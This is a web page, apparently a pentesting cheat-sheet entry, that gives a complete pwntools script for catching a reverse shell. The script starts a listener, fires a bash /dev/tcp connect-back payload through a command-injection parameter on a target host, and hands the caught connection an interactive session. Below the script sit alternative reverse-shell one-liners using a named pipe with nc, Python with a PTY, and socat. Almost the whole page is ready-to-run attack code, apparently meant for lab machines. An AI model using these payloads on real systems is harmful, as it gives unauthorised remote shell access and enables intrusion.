Skip to content
pwntools

pwntools

Catching a reverse shell end to end: a pwntools listener that binds before the trigger fires, reads the blocking request Timeout as delivery, and drops into an interactive session.

Catch a reverse shell — full pwntools flow (listen → trigger → interactive)

End-to-end reverse-shell catch: the listener binds before the trigger fires, the blocking request’s Timeout is read as delivery, then the caught connection is handed an interactive session.

A reverse shell is only caught if the listener is already bound when the target connects back, so pwn.listen() runs before the trigger request; starting it afterwards races a closed port. The trigger delivers reverse_shell through the injection sink (params= URL-encodes it), and because the spawned shell blocks, the HTTP response never arrives, so requests.Timeout is treated as the delivery signal rather than an error. wait_for_connection() then blocks until the callback lands and returns a pwntools-wrapped connection; interactive() bridges the local terminal to the remote shell, and the connection and listener are closed on the way out. The /dev/tcp payload assumes a real bash interpreter; where that is absent, the alternatives below give the same connect-back over sh, Python, or socat (the last providing a full PTY).

import pwn
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

s = requests.Session()
PROXIES = {}  # e.g. {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} for Burp

TARGET = "http://target.htb"
LHOST, LPORT = "10.10.14.5", 9001

# The connect-back command the target runs (params= URL-encodes it on delivery).
# bash needs a real bash, not dash -- see the alternatives below when it is missing.
reverse_shell = f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'"

def catch_shell(trigger_url, param="cmd"):
    """Bind the listener FIRST, fire the trigger, block for the connect-back, go interactive."""
    listener = pwn.listen(LPORT)
    listener.timeout = 30
    print(f"[+] Listening on {listener.lport}")

    # Fire the trigger. A blocking reverse shell never returns a response, so a
    # Timeout here is the success signal, not a failure.
    try:
        s.get(trigger_url, params={param: reverse_shell}, timeout=5, verify=False, proxies=PROXIES)
    except requests.Timeout:
        print("[+] Payload sent (request hung as expected)")
    except requests.RequestException as e:
        print(f"[-] Could not trigger: {e}")

    conn = listener.wait_for_connection()
    if conn is None or conn.sock is None:
        print("[-] No connection received")
        return
    print("[+] Shell caught -- going interactive")
    conn.interactive()
    conn.close()
    listener.close()

if __name__ == "__main__":
    catch_shell(f"{TARGET}/run")

Connect-back payload alternatives (no bash)

# sh / busybox -- named pipe
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f
# python -- full PTY
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("LHOST",LPORT));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'
# socat -- full PTY (listener: socat file:`tty`,raw,echo=0 tcp-listen:LPORT)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:LHOST:LPORT

Find by: pwntools, listener, reverse shell, wait_for_connection, interactive, catch shell, pwn, listen, timeout, trigger, connect back, revshell, bash dev tcp, full flow, end to end · Source: PG/many